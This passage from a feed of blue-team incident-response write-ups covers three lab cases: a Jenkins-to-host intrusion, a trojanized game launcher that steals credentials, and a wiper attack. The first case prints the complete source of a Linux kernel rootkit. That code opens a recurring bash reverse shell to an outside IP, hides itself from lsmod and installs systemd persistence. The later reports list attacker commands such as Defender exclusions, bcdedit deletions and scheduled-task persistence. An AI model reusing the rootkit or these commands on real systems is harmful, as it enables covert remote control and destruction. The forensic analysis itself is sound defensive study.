Monitor&quot;);<br>MODULE_VERSION(&quot;1.0.0&quot;);<br><br>#define ATTACKER_IP &quot;185.220.101.50&quot;<br>#define ATTACKER_PORT &quot;12000&quot;<br>#define SHELL_INTERVAL_MS 300000  // 5 minutes<br><br>// Global timer for periodic shells<br>static struct timer_list shell_timer;<br><br>// Spawn reverse shell<br>static void spawn_reverse_shell(void) {<br>    char *argv[] = {<br>        &quot;/bin/bash&quot;,<br>        &quot;-c&quot;,<br>        &quot;bash -i &gt;&amp; /dev/tcp/&quot; ATTACKER_IP &quot;/&quot; ATTACKER_PORT &quot; 0&gt;&amp;1 &amp;&quot;,<br>        NULL<br>    };<br>    char *envp[] = {<br>        &quot;HOME=/root&quot;,<br>        &quot;PATH=/sbin:/bin:/usr/sbin:/usr/bin&quot;,<br>        &quot;TERM=xterm-256color&quot;,<br>        &quot;SHELL=/bin/bash&quot;,<br>        NULL<br>    };<br>    <br>    // Execute reverse shell<br>    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);<br>    <br>    printk(KERN_INFO &quot;[SysPerfMon] Performance check initiated\n&quot;);<br>}<br><br>// Timer callback for periodic shells<br>static void shell_timer_callback(struct timer_list *t) {<br>    spawn_reverse_shell();<br>    <br>    // Re-arm timer<br>    mod_timer(&amp;shell_timer, jiffies + msecs_to_jiffies(SHELL_INTERVAL_MS));<br>    <br>    printk(KERN_DEBUG &quot;[SysPerfMon] Scheduled task executed\n&quot;);<br>}<br><br>// Hide module from lsmod<br>static void hide_module(void) {<br>    // Remove from module list<br>    list_del_init(&amp;__this_module.list);<br>    <br>    // Remove from sysfs<br>    kobject_del(&amp;__this_module.mkobj.kobj);<br>    <br>    printk(KERN_INFO &quot;[SysPerfMon] Module protection enabled\n&quot;);<br>}<br><br>// Install systemd persistence<br>static void install_persistence(void) {<br>    char *argv[] = {<br>        &quot;/bin/bash&quot;,<br>        &quot;-c&quot;,<br>        &quot;cat &gt; /etc/systemd/system/sysperf.service &lt;&lt;&#39;EOF&#39;\n&quot;<br>        &quot;[Unit]\n&quot;<br>        &quot;Description=System Performance Monitor\n&quot;<br>        &quot;After=network.target\n&quot;<br>        &quot;DefaultDependencies=no\n&quot;<br>        &quot;\n&quot;<br>        &quot;[Service]\n&quot;<br>        &quot;Type=oneshot\n&quot;<br>        &quot;ExecStart=/sbin/insmod /lib/modules/sysperf.ko\n&quot;<br>        &quot;RemainAfterExit=yes\n&quot;<br>        &quot;StandardOutput=null\n&quot;<br>        &quot;StandardError=null\n&quot;<br>        &quot;\n&quot;<br>        &quot;[Install]\n&quot;<br>        &quot;WantedBy=multi-user.target\n&quot;<br>        &quot;EOF\n&quot;<br>        &quot;systemctl daemon-reload 2&gt;/dev/null\n&quot;<br>        &quot;systemctl enable sysperf.service 2&gt;/dev/null\n&quot;<br>        &quot;systemctl start sysperf.service 2&gt;/dev/null&quot;,<br>        NULL<br>    };<br>    char *envp[] = {<br>        &quot;HOME=/root&quot;,<br>        &quot;PATH=/sbin:/bin:/usr/sbin:/usr/bin&quot;,<br>        NULL<br>    };<br>    <br>    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);<br>    <br>    printk(KERN_INFO &quot;[SysPerfMon] Persistence mechanism installed\n&quot;);<br>}<br><br>// Module initialization<br>static int __init rootkit_init(void) {<br>    printk(KERN_INFO &quot;[SysPerfMon] System Performance Monitor v1.0.0 initializing...\n&quot;);<br>    <br>    // Step 1: Spawn initial reverse shell<br>    spawn_reverse_shell();<br>    printk(KERN_INFO &quot;[SysPerfMon] Initial system check completed\n&quot;);<br>    <br>    // Step 2: Hide this module<br>    hide_module();<br>    <br>    // Step 3: Setup periodic reverse shell timer<br>    timer_setup(&amp;shell_timer, shell_timer_callback, 0);<br>    mod_timer(&amp;shell_timer, jiffies + msecs_to_jiffies(SHELL_INTERVAL_MS));<br>    printk(KERN_INFO &quot;[SysPerfMon] Scheduled monitoring enabled (interval: %d ms)\n&quot;, <br>           SHELL_INTERVAL_MS);<br>    <br>    // Step 4: Install systemd persistence<br>    install_persistence();<br>    <br>    printk(KERN_INFO &quot;[SysPerfMon] System Performance Monitor ready\n&quot;);<br>    <br>    return 0;<br>}<br><br>// Module cleanup<br>static void __exit rootkit_exit(void) {<br>    // Delete timer<br>    del_timer_sync(&amp;shell_timer);<br>    <br>    printk(KERN_INFO &quot;[SysPerfMon] System Performance Monitor stopped\n&quot;);<br>}<br><br>module_init(rootkit_init);<br>module_exit(rootkit_exit);</pre><h4><strong>Anti-Forensics:</strong></h4><p>Defense Evasion<br>Process termination<br>Local host<br>Attacker killed packet capture process</p><p>This terminated a running tcpdump capture process monitoring network traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSjKMyHg3ZjMzxqOCv2BNA.jpeg" /></figure><h3>Conclusion:</h3><p>Network traffic analysis demonstrates a multi-stage intrusion beginning with exploitation of a Jenkins application and culminating in host-level compromise through container escape and rootkit installation.</p><p>The attacker leveraged weak operational security practices, including plaintext credential storage and unencrypted Telnet authentication, to move laterally within the environment. After achieving host-level access, the attacker attempted to establish long-term persistence via a stealthy kernel rootkit and disabled monitoring processes to reduce the likelihood of detection.</p><p>The compromise illustrates the risks associated with exposed administrative services, insecure credential storage, and lack of network segmentation within containerized environments.</p><pre>+-------------+      +-----------------------+      +------------------------------+      +----------------------+<br>|  Adversary  | ---&gt; |    Infrastructure     | ---&gt; |          Capability          | ---&gt; |        Victim        |<br>+-------------+      +-----------------------+      +------------------------------+      +----------------------+<br><br> External Attacker      C2: 185.220.101.50           Jenkins RCE via /script            Jenkins Container<br> (Inference)            Upload Server 192.168.192.6  Reverse Shell (4444)               172.16.10.10<br>                                                       LinPEAS Enumeration               Redis Container<br>                                                       Credential Harvesting             172.16.10.20<br>                                                       Telnet Lateral Movement           Underlying Host<br>                                                       Redis Lua PrivEsc<br>                                                       Container Escape (CVE-2022-0492)<br>                                                       Rootkit Persistence<br>                                                       Anti-Forensics (kill tcpdump)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1159f167a721" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DFIR Report: Maranhao Lab]]></title>
            <link>https://medium.com/@kltran0306/dfir-report-maranhao-lab-60853f2d0b07?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/60853f2d0b07</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 22:46:01 GMT</pubDate>
            <atom:updated>2026-04-01T22:04:28.799Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1U-UJgykNHCMP_OSnSNKaw.png" /></figure><h4><strong>Scenario:</strong></h4><p>A gaming enthusiast in a known organization has downloaded what they believed to be a free mod launcher for a popular survival game. The file which downloaded contained a ZIP archive with an installer that looked like a standard game setup package.</p><p>Eager to try it, the gamer downloaded the file and executed the installer. Unbeknownst to him, the program silently dropped hidden files into a directory. One of these files was configured to persist through registry keys, ensuring it would relaunch every time the system started.</p><p>Within a short time, unusual activity triggered alerts on the Security Operations Center’s (SOC) in GOAT Company’s monitoring dashboard. The gamer’s machine was observed making outbound requests to a malicious domain and a suspicious external IP address. Endpoint logs also showed evidence of process injection, suggesting credential theft. The Security Operations Center (SOC) quickly isolated the machine and saved a full disk image for your analysis.</p><h3>Objective:</h3><p>Write a DFIR report rather than a CTF write-up. I am still testing out different report format to see which one works best, so you might find this different from the previous one.</p><h3>DFIR Investigation Report (CTF Case Study):</h3><ul><li><strong>Lab URL: </strong><a href="https://cyberdefenders.org/blueteam-ctf-challenges/maranhao/">Blue team CTF Challenges | Maranhao — CyberDefenders</a></li><li><strong>Case Type:</strong> Endpoint Forensics (Disk)</li><li><strong>Artifact: </strong>Maranhao.AD1 (encrypted and mounted via FTK Imager)</li><li><strong>Primary Data Sources: </strong>Event Logs (EvtxECmd -&gt; Timeline Explorer | sources: sysmon, powershell, security, application, and system) and NTFS Artifacts (NTFS Log Tracker: $MFT, $LogFile, $UsnJrnl, Amcache, Prefetch, Browser History)</li><li><strong>Host Observed: </strong>DESKTOP-HH58NQV</li></ul><h4>Executive Summary:</h4><p>Analysis of a forensic disk image associated with host <strong>DESKTOP-HH58NQV</strong> identified a malware intrusion originating from <strong>user-initiated execution of a ZIP archive masquerading as a legitimate game utility</strong>. The archive was delivered via an external remote URL and executed by an interactive user, initiating a multi-stage intrusion lifecycle including silent installation, user-space persistence, system discovery, credential access activity, and outbound command-and-control communication.</p><p>The intrusion did not rely on privilege escalation and instead operated entirely within the user context. Persistence was established through registry-based auto-start mechanisms, and the malware employed basic defense-evasion techniques (hidden/system attributes). Network artifacts indicate beaconing to external infrastructure, including a geolocation API and Cloudflare-fronted endpoints. The endpoint was isolated by the SOC after alerts triggered on suspicious outbound activity.</p><p><strong>Key defensive gaps</strong> observed include insufficient download provenance controls, limited prevention of user-space persistence, and lack of early detection on silent installer execution.</p><h4>Key Takeaways:</h4><ul><li>User-initiated execution of trojanized software remains a primary initial access vector.</li><li>Browser and NTFS artifacts were sufficient to reconstruct patient-zero delivery.</li><li>Persistence was achieved without elevated privileges using well-known registry mechanisms.</li><li>Basic defense evasion (file attribute manipulation) was observed but not sophisticated.</li><li>Outbound network activity provided an opportunity for earlier detection.</li><li>Core artifacts survived despite partial registry corruption caused by ransomware activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*tS6LAHE0bvZ3RjNKXAFAIg.png" /><figcaption><a href="https://www.pcrisk.com/removal-guides/14439-fileslack-ransomware">FileSlack Ransomware — Decryption, removal, and lost files recovery (updated)</a></figcaption></figure><h4>Intrusion Summary:</h4><p>The compromise began when a user downloaded a ZIP archive from an external URL posing as a free game launcher. Upon extraction and execution, a trojanized installer silently deployed additional binaries into a user-space program directory. A secondary executable was configured to persist via registry auto-run keys. The malware performed host discovery via WMI, terminated browser processes, injected into running processes, and established outbound network communication to external services for victim identification and command-and-control.</p><h4>Initial Access:</h4><ul><li><strong>Event:</strong> ZIP archive delivered from external URL disguised as game utility in <em>2025–09–17 10:10:21</em>. The URL was: https[:]//drive[dot]usercontent[dot]google[dot]com/uc?id=1mIxhfZXmcUT2mbKNuahsRI4S_rzVUFKW&amp;export=download</li><li><strong>Evidence:</strong> Browser history remnants.</li><li><strong>Why it matters:</strong> Establishes patient-zero delivery mechanism and user interaction</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJbU2ZRq6q3pWh2eY4v57g.png" /><figcaption>Malware was downloaded in 7zip file</figcaption></figure><h4><strong>Execution:</strong></h4><ul><li><strong>Event:</strong> Installer executed with silent flag (/VERYSILENT) in <em>2025–09–17 10:10:58</em></li><li><strong>Evidence:</strong> Prefetch records, Amcache FirstRunTime, Event Logs</li><li><strong>Why it matters:</strong> Confirms execution rather than mere file presence</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvTvwNuYgXD9Lhualg-YVQ.png" /><figcaption>The<strong> /verysilent</strong> command-line parameter is commonly used by attackers (and sometimes legitimate system administrators) because it allows for the installation or execution of software without any user interaction or visible interface.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF5wk5cLhVA3OylksWdBEA.png" /></figure><h4>Persistence:</h4><ul><li><strong>Event:</strong> Registry auto-run entry created pointing to updater binary</li><li><strong>Evidence:</strong> Registry timeline; persistence timestamp recorded in <em>2025–09–17 10:13</em></li><li><strong>Why it matters:</strong> Ensures re-execution across reboots</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cLHTkHovos9uHZB8vIu41Q.png" /><figcaption>The malware added a C2 token into Microsoft Update to gain persistence</figcaption></figure><h4><strong>Defense Evasion:</strong></h4><ul><li><strong>Event:</strong> File and directory attributes modified in <em>2025–09–17 10:13:41</em></li><li><strong>Evidence:</strong> Command usage observed (attrib +h +s)</li><li><strong>Why it matters:</strong> Conceals artifacts from casual user inspection</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzD8AYhdgO20rUvTMkV-OQ.png" /><figcaption>Attackers use <strong>attrib +h +s</strong> because it hides malicious files by marking them as both <em>hidden</em> and <em>system</em> objects, making them far less likely to be noticed or deleted by the victim.</figcaption></figure><h4>Discovery:</h4><ul><li><strong>Event:</strong> System profiling via WMI around <em>2025–09–17 10:14:12–10:14:28</em></li><li><strong>Evidence:</strong> Command strings recovered</li><li>wmic os get Caption</li><li>wmic cpu get Name</li><li>wmic path win32_VideoController get Name</li><li><strong>Why it matters:</strong> Indicates environment awareness and sandbox checks</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70FNI9Rx_T-IRWPfx9vnNw.png" /><figcaption>The malware performed targeted host discovery using native WMI queries to enumerate the Windows edition, CPU model, graphics hardware, disk capacity, and a stable hardware UUID. Collectively, these actions enabled environment fingerprinting, anti-sandbox checks, and victim identification to determine payload compatibility and the value of continued exploitation.</figcaption></figure><h4>Credential Access:</h4><ul><li><strong>Event:</strong> Browser termination prior to credential interaction in <em>2025–09–17 10:15:02</em>; it also established an interprocess communication channel to exfiltrate harvested credentials in <em>2025–09–17 10:15:04</em>.</li><li><strong>Evidence:</strong> Command execution: taskkill /F /IM msedge.exe ; stolen browser data was funneled through the named pipe ChromeDecryptIPC_e7e223c5-50d5-40ae-8513-64c9962789c2</li><li><strong>Why it matters:</strong> Consistent with browser data access or injection preparation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mU7E2bWdroTOTkBLAxlr7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KCDOCUD_nb2EB76uMLE7pA.png" /></figure><h4>Command and Control:</h4><ul><li><strong>Event:</strong> Outbound connections to external services in <em>2025–09–17 10:15:19</em></li><li><strong>Evidence:</strong> Network analysis screenshots and notes</li><li>Geolocation query: ip-api.com, api.maranhaogang.fun</li><li>Malicious IP: 208.95.112.1</li><li>Cloudflare edge IPs: 172.67.144.96, 104.21.71.100</li><li><strong>Why it matters:</strong> Confirms external communication and infrastructure abstraction</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5RC-34AvUrOcOATKkLR7wA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSuqkd5R9dUzCxR_7qAPWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jX9pl8KrBOvjNQa8KT0frw.png" /></figure><h4>ATT&amp;CK Technique Mapping:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*4v4L-1pEfhHa4SccA3Y-eg.png" /></figure><h4><strong>Detection &amp; Telemetry &amp; IoCs:</strong></h4><ul><li>Alert on silent installer flags (/VERYSILENT)</li><li>Browser termination followed by non-browser child processes</li><li>Detect WMI enumeration bursts post-execution</li></ul><p><strong>Commands:</strong></p><ul><li>/VERYSILENT</li><li>attrib +h +s</li><li>taskkill /F /IM msedge.exe</li><li>WMI enumeration commands (see Discovery)</li></ul><p><strong>Network:</strong></p><ul><li>Domain: ip-api.com, api.maranhaogang.fun</li><li>IPs: 208.95.112.1, 172.67.144.96, 104.21.71.100</li></ul><p><strong>Hashes:</strong></p><ul><li>Fnafdoomlauncher.exe:<em>3ad7688cc09f1333f157190ec656a40ccc8575bd724532d1b1ad58e8b62c022e</em></li><li>Fnanfdoomlauncher.tmp:<em>97813e1c66dc8922b8242d24a7a56409b57ce19c61042ffda93031c43a358b9b | 439eb3631638c61842a20e47e1a31d3c1e917f37688bc3ccdac67dae030117a6</em></li></ul><h4>Tools:</h4><ul><li><a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman’s Tools</a>: EvtxECmd, MFTECmd, AmcacheParser, AppCompatCacheParser, Timeline Explorer, PECmd, RECmd.</li><li><a href="https://sites.google.com/site/forensicnote/ntfs-log-tracker">NTFS Log Tracker</a></li><li><a href="https://sqlitebrowser.org/">DB Browser for SQLite</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60853f2d0b07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DFIR Report: MeteorHit — Indra Lab]]></title>
            <link>https://medium.com/@kltran0306/dfir-report-meteorhit-indra-lab-f491129543d2?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f491129543d2</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[case-study]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 22:06:31 GMT</pubDate>
            <atom:updated>2026-01-09T22:06:31.424Z</atom:updated>
            <content:encoded><![CDATA[<h3>DFIR Report: MeteorHit — Indra Lab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SCbhZ3wAC_X0B1-2i0gvTg.jpeg" /></figure><h3><strong>Scenario:</strong></h3><p>A critical network infrastructure has encountered significant operational disruptions, leading to system outages and compromised machines. Public message boards displayed politically charged messages, and several systems were wiped, causing widespread service failures. Initial investigations reveal that attackers compromised the Active Directory (AD) system and deployed wiper malware across multiple machines.</p><p>Fortunately, during the attack, an alert employee noticed suspicious activity and immediately powered down several key systems, preventing the malware from completing its wipe across the entire network. However, the damage has already been done, and your team has been tasked with investigating the extent of the compromise.</p><p>You have been provided with forensic artifacts collected via KAPE SANS Triage from one of the affected machines to determine how the attackers gained access, the scope of the malware’s deployment, and what critical systems or data were impacted before the shutdown.</p><h3><strong>Objective:</strong></h3><p>Write a DFIR report rather than a CTF write-up.</p><h3><strong>DFIR Investigation Report (CTF Case Study):</strong></h3><ul><li><strong>Lab URL: </strong><a href="https://cyberdefenders.org/blueteam-ctf-challenges/meteorhit-indra/">Blue team CTF Challenges | MeteorHit — Indra — CyberDefenders</a> (Retired)</li><li><strong>Case Type:</strong> Blue Team CTF — Host-Based Intrusion Reconstruction</li><li><strong>Primary Data Sources: </strong>Event Logs (EvtxECmd -&gt; Timeline Explorer | sources: sysmon, powershell, security, application, and system) and NTFS Artifacts (NTFS Log Tracker: $MFT, $LogFile, $UsnJrnl)</li><li><strong>Host Observed: </strong>DESKTOP-VBIOB4B.abc.local</li></ul><h3><strong>Executive Summary:</strong></h3><p>An automated, SYSTEM-context execution chain was observed on DESKTOP-VBIOB4B.abc.local on <strong>2024-09-24</strong> (timeline shown in UTC within the provided artifacts). Execution originated from a <strong>startup-script–style</strong> invocation of a batch file hosted on a remote share (\\WIN-499DAFSKAR7\Data\scripts\setup.bat), consistent with Group Policy (<em>GPO: DeploySetup</em>) startup processing.</p><p>Following execution, the actor staged multiple artifacts under C:\ProgramData\Microsoft\env\, expanded an archive (env.cab), extracted content from RAR archives, and executed a sequence of built-in Windows utilities. The activity included:</p><ul><li><strong>Defense evasion:</strong> multiple <strong>Windows Defender exclusions</strong> added via Add-MpPreference for specific files and an executable (env.exe).</li><li><strong>System disruption:</strong> network disruption commands (ipconfig /release and a PowerShell WMI adapter disable loop).</li><li><strong>System modification:</strong> repeated bcdedit enumeration and deletion of BCD identifiers; permissions and ownership changes to C:\Windows\Web\Screen and C:\ProgramData\Microsoft\Windows\SystemData.</li><li><strong>Persistence:</strong> scheduled task creation to execute env.exe at startup under SYSTEM.</li><li><strong>Objective action / user impact:</strong> registry changes to set the lock screen image path/URL to C:\temp\mscap.jpg, and execution of C:\temp\mssetup.exe /LOCK.</li></ul><p>Key attacker staging files were subsequently deleted (notably programs.rar, msrun.bat, and env.cab), and NTFS metadata corroborated creation/write/delete behavior beyond event logs.</p><h3><strong>Scope and Methodology:</strong></h3><p><strong>Scope:<br></strong>This report is scoped to the <strong>key event subset</strong> provided in two curated timelines (Windows event log key events and NTFS key events). It does not represent full-fidelity telemetry (e.g., full Security log, full Sysmon set, full $UsnJrnl).</p><p><strong>Methodology:<br></strong>The workflow aligns to a practical Windows forensics approach: prioritize event logs + NTFS artifacts as primary truth sources, correlate timestamps, validate execution claims by file system residue, and explicitly separate fact from inference. The cheatsheet can be found via <a href="https://github.com/bluecapesecurity/PWF/tree/main/Resources">PWF/Resources at main · bluecapesecurity/PWF · GitHub</a>.</p><h3><strong>Environment Overview:</strong></h3><ul><li><strong>Endpoint: </strong>DESKTOP-VBIOB4B.abc.local</li><li><strong>Observed User Contexts in timeline:</strong></li><li>NT AUTHORITY\SYSTEM (dominant during execution chain)</li><li>ABC\fred (interactive logons present in the same window)</li><li>Machine account logons: ABC.LOCAL\DESKTOP-VBIOB4B$</li><li><strong>Analyst note:</strong> Many “attack chain” process creation events are logged as SYSTEM, which is consistent with startup-script execution and/or scheduled task execution.</li></ul><h3><strong>Key Findings:</strong></h3><p><strong>*Initial Authentication Events:</strong></p><p><strong>Evidence:</strong> Security Event ID <strong>4624</strong> in the attack window includes <strong>Kerberos-authenticated</strong> network logons (LogonType <strong>3</strong>) for the machine account (DESKTOP-VBIOB4B$). Interactive logons (LogonType <strong>2</strong>) for ABC\fred are also present, with Negotiate observed for those logons in the same window.<br> <br>Since the damage has already been done, the evidence supports <strong>authenticated access</strong>, but does not, by itself, prove the original credential compromise mechanism. Authentication activity is present immediately prior to scripted execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cm4y7X7U1anz5E21Pba2cg.jpeg" /><figcaption>Multiple Kerberos-authenticated logons were observed during the attack window, including both network (Logon Type 3) and interactive (Logon Type 2) sessions. These logons preceded the onset of extensive process execution activity and indicate authenticated access rather than exploit-driven entry.</figcaption></figure><p><strong>*Initial Execution Vector: Startup Script from Remote Share:</strong></p><p><strong>Evidence:</strong> Sysmon Process Creation (Event ID <strong>1</strong>) and PowerShell (Event ID <strong>400) </strong>show:</p><ul><li>C:\Windows\system32\cmd.exe /c &quot;\\WIN-499DAFSKAR7\Data\scripts\setup.bat&quot;</li><li>Parent context consistent with startup scripting (parent command line indicates gpscript.exe /Startup in the dataset).</li><li>Rar.exe x &quot;C:\ProgramData\Microsoft\env\programs.rar&quot; -phackemall</li><li>Rar.exe x &quot;C:\ProgramData\Microsoft\env\ms.rar&quot; -phackemall</li></ul><p><strong>Why this matters:</strong> This is a strong indicator that the observed activity was launched via a <strong>startup-script execution path</strong> (commonly Group Policy–driven), yielding SYSTEM-level execution.</p><p><strong>*Host Disruption: Network Degradation:</strong></p><p><strong>Evidence (process execution):</strong></p><ul><li>ipconfig /release</li><li>PowerShell WMI loop to disable network adapters: Get-WmiObject -class Win32_NetworkAdapter | ... Disable()</li></ul><p><strong>Interpretation (bounded):</strong> This sequence is consistent with a deliberate attempt to disrupt connectivity and/or disrupt remote remediation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urWmUVR14xDuk7Per5V7oA.jpeg" /><figcaption>PowerShell Event ID <strong>400</strong> records multiple Add-MpPreference -Force -ExclusionPath commands adding exclusions for the following: update.bat, rar.exe, programs.rar, cache.bat, ms.rar, msrun.bat, mssetup.exe, msconf.conf, bcd.bat, env,exe. These exclusions materially reduce endpoint detection coverage for the actor’s active working set and primary executable (env.exe).</figcaption></figure><p><strong>*System Modification:</strong></p><p><strong>Boot Configuration Changes:</strong></p><p><strong>Evidence:</strong> Multiple bcdedit invocations including enumeration (bcdedit /v) and deletion of several BCD identifiers via bcdedit /delete {GUID} /f. Observed GUIDs include:</p><ul><li>{9dea862c-5cdd-4e70-acc1-f32b344d4795}</li><li>{9fb207e9-78a3-11ef-b883-b743eb480db3}</li><li>{9fb207ea-78a3-11ef-b883-b743eb480db3}</li><li>{b2721d73-1db4-4c62-bf78-c548a880142d}</li></ul><p><strong>Interpretation (bounded):</strong> The actor modified boot configuration entries. Without the full BCD store contents, we cannot conclusively state <em>which boot modes</em> were targeted, only that identifiers were enumerated and deleted.</p><p><strong>Permission/ownership manipulation:</strong></p><p><strong>Evidence:</strong> The actor executed ownership and ACL modification commands against:</p><ul><li>C:\Windows\Web\Screen</li><li>C:\ProgramData\Microsoft\Windows\SystemData</li><li>C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-18\ReadOnly</li></ul><p>Commands include takeown.exe /R /A and multiple icacls.exe /grant ... (OI)(CI)F /T and /reset /T.</p><p><strong>Interpretation (bounded):</strong> These actions are consistent with enabling modification of protected system/UI assets and system state folders — often prerequisite to defacement or lockscreen manipulation.</p><p><strong>*Persistence: Scheduled Task Creation:</strong></p><p><strong>Evidence:</strong> Scheduled task creation observed to execute env.exe under SYSTEM:</p><ul><li>schtasks /CREATE /SC ONSTART /TN &quot;Aa153!EGzN&quot; /RL HIGHEST /RU SYSTEM /TR &quot;\&quot;C:\ProgramData\Microsoft\env\env.exe\&quot; \&quot;C:\temp\msconf.conf\&quot;&quot; /F</li></ul><p><strong>Additional observation:</strong> A one-time scheduled task was also created earlier in the chain (with /SC ONCE and a start time that appears consistent with a “few minutes later” execution plan when considering formatting/time-zone representation in the export).</p><p><strong>Interpretation (bounded):</strong> This is durable persistence that triggers on boot, launching env.exe with a configuration file argument.</p><p><strong>*Actions on Objective: Lockscreen Manipulation and “LOCK” execution:</strong></p><p><strong>Evidence:</strong></p><ul><li>Registry modifications:</li><li>...PersonalizationCSP values set:</li><li>LockScreenImagePath = C:\temp\mscap.jpg</li><li>LockScreenImageUrl = C:\temp\mscap.jpg</li><li>Execution:</li><li>C:\temp\mssetup.exe /LOCK</li></ul><p><strong>Interpretation (bounded):</strong> The activity is consistent with lockscreen manipulation/defacement. The specific visual content of mscap.jpg is not present in the supplied evidence set, so the report does not assert the image contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKETpLaobyi7nnWR3PbKSA.jpeg" /></figure><p><strong>*NTFS Corroboration — Payload Staging &amp; Cleanup:</strong></p><p><strong>Evidence (NTFS):</strong></p><ul><li>\ProgramData\Microsoft\env\env.cab created at <strong>2024-09-24 16:04:16 (UTC)</strong></li><li>expand &quot;...\env.cab&quot; /F:* &quot;...\env&quot; executed shortly after</li><li>Additional file creations observed in the same directory including:</li><li>cache.bat, bcd.bat, msrun.bat, mssetup.exe, msconf.conf, mscap.jpg</li></ul><p><strong>Evidence (process execution):</strong></p><ul><li>expand &quot;C:\ProgramData\Microsoft\env\env.cab&quot; /F:* &quot;C:\ProgramData\Microsoft\env&quot;</li><li>programs.rar later deleted (deallocated) at <strong>2024-09-24 16:05:03 (UTC)</strong></li><li>ms.rar observed with create/move/delete-related operations (timed events exist, but some rows lack</li><li>Event Time in the export; presence is still corroborated by redo operations and file naming).</li></ul><p><strong>Evidence (NTFS deletions):</strong></p><ul><li>\ProgramData\Microsoft\env\programs.rar deleted at <strong>16:05:03 (UTC)</strong></li><li>\ProgramData\Microsoft\env\msrun.bat deleted at <strong>16:05:03 (UTC)</strong></li><li>\ProgramData\Microsoft\env\env.cab deleted at <strong>16:08:35 (UTC)</strong></li><li>Additional delete/deallocate operations exist for other staged files in the export (some without Event Time populated), reinforcing post-execution cleanup behavior.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbmcANOeht96XkQe-nwaTg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvAgOWUmLSMQufa66xFMOw.jpeg" /><figcaption>NTFS metadata confirms the creation, modification, and subsequent deletion of multiple attacker-staged files within C:\ProgramData\Microsoft\env\. Several files were written as non-resident data streams and later deallocated, indicating intentional cleanup following execution. These file system events temporally align with process execution telemetry, validating execution beyond log artifacts alone.</figcaption></figure><h3>Intrusion Timeline: Attack Lifecycle Tree</h3><p><strong>[16:04:10] Phase 1: Access &amp; Authentication</strong></p><ul><li><strong>Authentication</strong> (Security 4624)</li><li>Kerberos Network Logons (Type 3) for DESKTOP-VBIOB4B$</li><li>Interactive logons for ABC\fred</li></ul><p><strong>[16:04:16] Phase 2: Initial Execution &amp; Environment Prep</strong></p><ul><li><strong>Initial Execution</strong> (Sysmon 1)</li><li>Execution of setup.bat via network share: \\WIN-499DAFSKAR7\...\setup.bat</li><li><strong>Task Modification</strong></li><li>Removal of existing scheduled tasks via schtasks /delete</li></ul><p><strong>[16:04:16–16:04:18] Phase 3: Staging &amp; Payload Extraction</strong></p><ul><li><strong>Staging</strong> (NTFS/Sysmon 1)</li><li>env.cab created in \ProgramData\Microsoft\env\</li><li>env.cab expanded into the directory</li><li><strong>Execution</strong> (Sysmon 11)</li><li>Rar.exe extracts programs.rar</li><li>Creation of cache.bat</li></ul><p><strong>[16:04:18–16:04:41] Phase 4: Defense Evasion &amp; Disruption</strong></p><ul><li><strong>Disruption</strong> (PS 400)</li><li>Network isolation: ipconfig /release and disabling adapters</li><li><strong>Defense Evasion</strong></li><li>PowerShell used to add Windows Defender exclusions (Add-MpPreference) for env.exe and related artifacts</li></ul><p><strong>[16:04:42–16:08:02] Phase 5: System Modification &amp; Persistence</strong></p><ul><li><strong>System Modification</strong></li><li>Boot configuration changes: bcdedit /v followed by deletion of specific {GUID} entries</li><li>Permissions hijacking: takeown and icacls against system folders (Web\Screen, SystemData)</li><li><strong>Objective Prep</strong></li><li>Registry modification for PersonalizationCSP to force a specific lockscreen image (mscap.jpg)</li><li><strong>Persistence</strong></li><li>New ONSTART scheduled task created to run env.exe as <strong>SYSTEM</strong></li></ul><p><strong>[16:08:05] Phase 6: Final 